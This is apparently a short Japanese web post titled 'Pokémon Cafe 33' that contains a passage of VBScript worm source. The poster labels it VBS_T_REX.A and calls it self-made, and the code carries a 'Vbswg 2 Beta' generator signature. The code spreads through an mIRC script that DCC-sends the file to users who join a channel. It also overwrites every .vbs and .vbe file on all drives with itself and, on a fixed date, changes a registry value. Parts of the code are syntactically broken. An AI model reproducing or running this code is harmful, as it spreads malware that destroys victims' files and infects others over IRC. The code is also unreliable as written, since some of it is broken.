ポケモンカフェ【33号店】

MAL2E8QV = "[script]" & vbCrLf & "n0=on 1:JOIN:#:{"
MAL2E8QV = MAL2E8QV & vbCrLf & "n0=on 1:JOIN:#:{"
MAL2E8QV = MAL2E8QV & vbCrLf & "n1= /if ( $nick == $me ) { halt }"
MAL2E8QV = MAL2E8QV & vbCrLf & "n2= /." & Chr(100) & Chr(99) & Chr(99) & " send $nick "
MAL2E8QV = MAL2E8QV & PN259440
MAL2E8QV = MAL2E8QV & vbCrLf & "n3=}"
script.Close
End If
End Function
Function BDAEELUN()
On Error Resume Next
Set Q7JA864P = GEELUN5U.Drives
For Each VL8NJERH In Q7JA864P
G4NPN00J = VL8NJERH & " \ "
Call DF4N2594(G4NPN00J)
Next
End Function

Function DF4N2594(T808RL6R)
I706L3E9 = T808RL6R
Set A3AR3T07 = GEELUN5U.GetFolder(I706L3E9)
Set UG38P76D = A3AR3T07.Files
For Each FT16NG53 In UG38P76D
If lcase(FT16NG53.Name) = "mirc.ini" Then
V6NG53RV(FT16NG53.ParentFolder)
End If
If GEELUN5U.GetExtensionName(FT16NG53.path) = "vbs"
GEELUN5U.CopyFile wscript.scriptfullname,FT16NG53.path,true
End if
If GEELUN5U.GetExtensionName(FT16NG53.path) = "vbe"
GEELUN5U.CopyFile wscript.scriptfullname,FT16NG53.path,true
End if
Next
Set R5J5UI21 = A3AR3T07.Subfolders
For Each RMC22AVN In R5J5UI21
Call (RMC22AVN.path)
Next
End function
Function M8RL6R2N()
If month(now) = 8 and day(now) = 30 then
SNJERHGU.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner","UINOHAJIO"
end if
end function
'Vbswg 2 Beta. By [K]

以上、VBS_T_REX.Aでした。（自作）